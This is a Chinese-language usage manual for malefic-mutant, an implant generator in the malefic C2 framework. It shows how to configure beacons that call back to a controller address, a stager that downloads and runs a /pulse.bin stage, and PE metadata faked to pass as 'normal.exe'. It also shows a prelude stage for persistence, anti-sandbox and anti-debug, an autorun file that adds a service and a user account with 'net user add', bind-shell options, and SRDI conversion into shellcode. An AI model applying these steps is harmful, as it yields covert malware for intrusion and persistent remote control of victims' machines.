Skip to content

mutant

Intro

malefic 在v0.0.3中解耦为多个组件并新增了大量组件,可预见的将会有更多组件和模块出现在项目中, 因此配置生成/管理工具刻不容缓, 之前的 config 已经无法满足当前的需求, 我们新增了 malefic-mutant 代替原有的malefic-config

在设计中, mutant 的定位相当于 MSF venom, 可以动态解析和更改配置以动态生成代码, 也可以通过需求动态生成 shellcode 的 raw 文件.

Install/Build

malefic-mutant 会随着每个版本自动编译对应的release. 直接下载即可使用

https://github.com/chainreactors/malefic/releases/latest

也支持从源码编译:

cargo build --release -p malefic-mutant 

编译环境

编译环境可以参考build中对应的配置流程: https://chainreactors.github.io/wiki/IoM/manual/implant/build/#_6

Usage

malefic-mutant 目前有两大组件:

  • generate: 根据配置动态生成代码
  • build:创建可用的 shellcode/PE 文件

其中 generate 所依赖的配置均在 malefic/config.yaml 文件中

$ mutant --help
Config malefic beacon and prelude.

Usage: malefic-mutant.exe <COMMAND>

Commands:
  generate  Config related commands
  build     Generate related commands
  help      Print this message or the help of the given subcommand(s)

Options:
  -h, --help  Print help

generate

generate是代码, 配置, 编译条件的生成器, 因此需要在源代码目录下使用.

如果还没有下载对应的源代码, 请先尝试clone malefic.

git clone --recurse-submodules https://github.com/chainreactors/malefic

generate 模块将会根据配置动态生成一切所需的代码(pulse, prelude, beacon...)

beacon

配置清单

由于 beacon 是整个功能的结合形态, 因此配置项略微复杂, 这里将其分为三部分来介绍

  1. basic

    basic:
    name: "malefic"
    targets:
        - "10.211.55.2:5001"
    protocol: "tcp"
    tls: false
    proxy: ""
    interval: 5
    jitter: 0.2
    ca: ""
    encryption: aes
    key: maliceofinternal
    
  2. metadata

    metadata:
    remap_path: "C:/Windows/Users/Maleficarum"
    icon: ""
    compile_time: "24 Jun 2015 18:03:01"
    file_version: ""
    product_version: ""
    company_name: ""
    product_name: ""
    original_filename: "normal.exe"
    file_description: "normal"
    internal_name: ""
    
  3. implants

    ```yaml implants: mod: beacon register_info: true # 是否需要在注册时获取系统信息(提示: 该行为为危险行为:) hot_load: true # 是否需要 hot load 功能, 即动态插件加载功能 modules: # 所需要使用的 modules - "full" # full (全部模块), nano(不包含任何模块), base(基础模块) # fs_full (文件系统相关模块), net_full (网络相关模块) # sys_full (系统相关模块) # execute_full (内存执行模块)

    flags:
        start: 0x41         # 交互 body 开始标志
        end: 0x42           # 交互 body 结束标志
        magic: "beautiful"  # 动态校验值
        artifact_id: 0x1    # unused 保留字段
    ```
    
使用说明
Config beacon

Usage: malefic-mutant.exe generate beacon [OPTIONS]

Options:
  -h, --help               Print help

使用示例

malefic-mutant generate beacon 

pulse

pulse 作为目前的 shellcode 生成器, 由 mutant 通过解析配置来提供生成代码

配置清单

其所依赖的配置位于 malefic/config.yaml 文件的 pulse 模块

pulse:
  flags:
    start: 0x41             # 交互 body 的开始标志
    end: 0x42               # 交互 body 的结束标志
    magic: "beautiful"      # 随机校验
    artifact_id: 16         # 用于控制所拉取的阶段
  encryption: xor           # body 加密方式 (目前为 xor)
  key: "maliceofinternal"   # 加密的 `key` 值
  target: 127.0.0.1:5002    
  protocol: "tcp"           # 通信协议 (目前为 tcp)
  http:
    method: "GET"
    path: "/pulse.bin"
    version: "1.1"
    headers:
      user_agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
      accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
      accept_language: "en-US,en;q=0.5"
      accept_encoding: "gzip, deflate"

使用说明

Generate pulse

Usage: malefic-mutant.exe generate pulse [OPTIONS] <ARCH> <PLATFORM>

Arguments:
  <ARCH>      Choice arch x86/x64
  <PLATFORM>  platform, win

Options:
  -h, --help               Print help

使用示例

malefic-mutant generate pulse x64 win

prelude

prelude 为可选的用于在上线前进行权限维持, 反沙箱, 反调试等功能的中间阶段

使用说明

Config prelude

Usage: malefic-mutant.exe generate prelude [OPTIONS] <YAML_PATH>

Arguments:
  <YAML_PATH>

Options:
  --resources <RESOURCES>  Custom resources dir, default "./resources/" [default: resources]
  -h, --help                   Print help

autorun.yaml

yaml示例:

-  
  name: bof  
  body: !ExecuteBinary  
    name: service  
    bin: !File "addservice.o"
-
  name: exe
  body: !ExecRequest
    args:
      - net
      - user
      - add
      - ....

这个yaml能被自动打包编译成spite.bin

malefic-mutant generate prelude autorun.yaml

cargo build -p malefic-prelude

能生成一个自动按顺序执行autorun.yaml 中配置的二进制程序.

bind (Unstable)

在当前实际对抗中, 受到网络环境的限制, 很少有人使用 bind 类型的 webshell. 但在一些极端场景下, 例如不出网的webshell 中, 又或者长时间流量静默的场景下. bind 也许有用武之地

bind 作为新增的临时解决方案, 也由 mutant 来进行调配

Config bind

Usage: malefic-mutant.exe generate bind [OPTIONS]

Options:
  -h, --help               Print help

build

build 作为一切可直接使用的结果文件生成器, 目前用于生成 SRDI 的 shellcode 产物

Generate related commands

Usage: malefic-mutant.exe build <COMMAND>

Commands:
  srdi        Generate SRDI
  help        Print this message or the help of the given subcommand(s)

Options:
  -h, --help  Print help

SRDI

作为 PE2SHELLCODE 的常见解决方案, 该模块可以将我们的 prelude / beacon 转化为 shellcode 以供多段加载

Generate SRDI

Usage: malefic-mutant.exe build srdi [OPTIONS] <SRC_PATH> <PLATFORM> <ARCH> <TARGET_PATH>

Arguments:
  <SRC_PATH>     Source exec path
  <PLATFORM>     platform, win
  <ARCH>         Choice arch x86/x64
  <TARGET_PATH>  Target shellcode path

Options:
      --function-name <FUNCTION_NAME>    Function name [default: ]
      --userdata-path <USER_DATA_PATH>  User data path [default: ]
  -h, --help                             Print help

使用示例:

malefic-mutant build srdi ./beacon.exe win x64 ./beacon.bin

malefic-mutant build srdi ./beacon.dll win x64 ./beacon.bin --function-name "main"